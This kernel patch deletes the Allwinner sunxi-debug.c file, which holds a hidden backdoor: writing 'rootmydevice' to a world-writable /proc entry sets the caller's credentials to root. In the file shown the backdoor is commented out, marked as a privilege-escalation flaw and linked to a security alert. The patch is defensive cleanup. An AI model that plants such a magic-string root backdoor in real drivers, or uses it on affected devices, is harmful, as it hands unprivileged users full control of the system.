diff --git a/arch/arm/mach-sunxi/Makefile b/arch/arm/mach-sunxi/Makefile
index 43bd7a6..7a50c26 100755
--- a/arch/arm/mach-sunxi/Makefile
+++ b/arch/arm/mach-sunxi/Makefile
@@ -49,7 +49,7 @@ obj-y += sunxi-headsmp.o sunxi-platsmp.o
 obj-$(CONFIG_HOTPLUG_CPU) += sunxi-hotplug.o
 endif
 
-obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o sunxi-debug.o
+obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o
 
 obj-$(CONFIG_SUNXI_TRUSTZONE) += firmware.o
 obj-$(CONFIG_SUNXI_TRUSTZONE) += sunxi-smc.o
diff --git a/arch/arm/mach-sunxi/sunxi-debug.c b/arch/arm/mach-sunxi/sunxi-debug.c
deleted file mode 100755
index 53ed9fc..0000000
--- a/arch/arm/mach-sunxi/sunxi-debug.c
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Sunxi_debug.c
- *
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- */
-#include <linux/kernel.h>
-#include <linux/types.h>
-#include <linux/export.h>
-#include <linux/kthread.h>
-
-#include <linux/debugfs.h>
-#include <linux/proc_fs.h>//add by fe3o4
-#include <linux/uaccess.h>
-#include <linux/cred.h>
-
-static struct proc_dir_entry *proc_root;
-static struct proc_dir_entry * proc_su;
-
-
-static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
- unsigned long count, void *data)
-{
-	char *buf;
-	struct cred *cred;
-
-	if (count < 1)
-		return -EINVAL;
-
-	buf = kmalloc(count, GFP_KERNEL);
-	if (!buf)
-		return -ENOMEM;
-
-	if (copy_from_user(buf, buffer, count)) {
-		kfree(buf);
-		return -EFAULT;
-	}
-	
-	/*
-	
-	COMMENTED! THIS CODE ALLOWS FOR PRIVILEGE ESCALATION!
-	
-	http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/
-	
-	Note: This entire file should probably be removed
-	
-	if(!strncmp("rootmydevice",(char*)buf,12)){
-		cred = (struct cred *)__task_cred(current);
-		cred->uid = 0;
-		cred->gid = 0;
-		cred->suid = 0;
-		cred->euid = 0;
-		cred->euid = 0;
-		cred->egid = 0;
-		cred->fsuid = 0;
-		cred->fsgid = 0;
-		printk("now you are root\n");
-	}
-	*/
-
-	kfree(buf);
-	return count;
-}
-
-
-static int sunxi_proc_su_read(char *page, char **start, off_t off,
- int count, int *eof, void *data)
-{
-	printk("sunxi debug: rootmydevice\n");
- 	return 0;
-}
-
-static int sunxi_root_procfs_attach(void)
-{
-	proc_root = proc_mkdir("sunxi_debug", NULL);
-	proc_su= create_proc_entry("sunxi_debug", 0666, proc_root);
-	if (IS_ERR(proc_su)){
-		printk("create sunxi_debug dir error\n");
-		return -1;
-	}
-	proc_su->data = NULL;
-	proc_su->read_proc = sunxi_proc_su_read;
-	proc_su->write_proc = sunxi_proc_su_write;
-	return 0;
-	
-}
-
-static int sunxi_debug_init(void)
-{
-	int ret;
-	ret = sunxi_root_procfs_attach();
-	printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
-	if(ret){
-		printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
-	}
-	return ret;
-}
-
-subsys_initcall(sunxi_debug_init);
-
-